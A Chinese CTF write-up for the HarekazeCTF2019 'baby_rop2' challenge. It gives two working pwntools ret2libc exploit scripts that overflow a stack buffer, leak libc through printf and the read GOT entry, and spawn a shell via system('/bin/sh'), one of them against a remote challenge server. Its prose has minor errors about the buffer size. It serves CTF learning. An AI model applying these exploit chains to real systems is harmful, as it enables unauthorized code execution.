HarekazeCTF2019 baby_rop2

本文详细介绍了HarekazeCTF2019比赛中baby_rop2的解决过程,重点讨论了在调试过程中遇到的问题,即不能利用printf函数的全局 offsets to functions (got) 表进行攻击。通过对挑战的深入分析,揭示了如何在限制条件下利用返回导向编程(ROP)技术来完成挑战。
from pwn import *
p = process('./babyrop2')
libcelf = ELF('./libc-2.23.so')
p = process('./babyrop2')
p.recvuntil("What's your name? ")
pltprintf = 0x00000000004004F0
gotread = 0x0000000000601020
poprdiret = 0x0000000000400733
poprsir15ret = 0x0000000000400731
fmt_str = 0x0000000000400770
start = 0x0000000000400540
payload = 40 * 'a' +  p64(poprdiret) + p64(fmt_str) + p64(poprsir15ret) + p64(gotread) + p64(0) + p64(pltprintf) + p64(start)
p.sendline(payload)
realread = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libcbase = realread - libcelf.symbols['read']
log.success(hex(libcbase))
system = libcbase + libcelf.symbols['system']
binsh = libcbase + libcelf.search('/bin/sh').next()
p.recvuntil("What's your name? ")
payload = 40 * 'a' +  p64(poprdiret) + p64(binsh) + p64(system) + p64(start)
p.sendline(payload)
p.interactive()

备注:调试发现不能使用printf函数的got表

[HarekazeCTF2019]baby_rop2是一道64位、开启了NX保护的Pwn题目,利用思路为ret2libc,涉及printf函数和read函数。程序中定义了`char buf[28];`,但在使用`read(0, buf, 0x100uLL);`时,向buf读取输入最多256(0x100)个无符号长整型常量,而buf数组大小仅为128,存在缓冲区溢出漏洞[^1]。 以下是该题的一个解题脚本: ```python from pwn import * from LibcSearcher import * #p = process('./babyrop2') p = remote("node5.buuoj.cn", 29847) elf = ELF('./babyrop2') printf_plt = elf.plt['printf'] read_got = elf.got['read'] main_address = 0x400636 pop_rdi = 0x400733 pop_rsi_r15 = 0x400731 formart_str = 0x400770 payload1 =b'a' * (0x20 + 8) + p64(pop_rdi) + p64(formart_str) + p64(pop_rsi_r15) + p64(read_got) + p64(0) + p64(printf_plt) + p64(main_address) p.sendlineafter("name? ", payload1) read_address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) print(hex(read_address)) libc = ELF('./libc.so.6') offset = read_address - libc.symbols['read'] binsh = offset + libc.search('/bin/sh').__next__() system = offset + libc.symbols['system'] payload2 = b'a' * (0x20 + 8) + p64(pop_rdi) + p64(binsh)+ p64(system) p.sendline(payload2) p.interactive() ``` 该脚本的攻击思路是,第一次泄露一个地址,然后获取system函数地址和`/bin/sh`字符串,第二次实现注入。具体是先通过构造`payload1`进行栈溢出,覆盖返回地址,用printf函数输出read函数的地址,再返回主函数使栈初始化,以便再次进行栈溢出。发送完`payload1`后,函数先运行到`return 0`,再执行构造的语句,因为返回地址已被覆盖。之后根据泄露的read函数地址计算偏移,进而得到system函数和`/bin/sh`字符串的地址,构造`payload2`实现最终的注入并获取交互shell [^3][^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值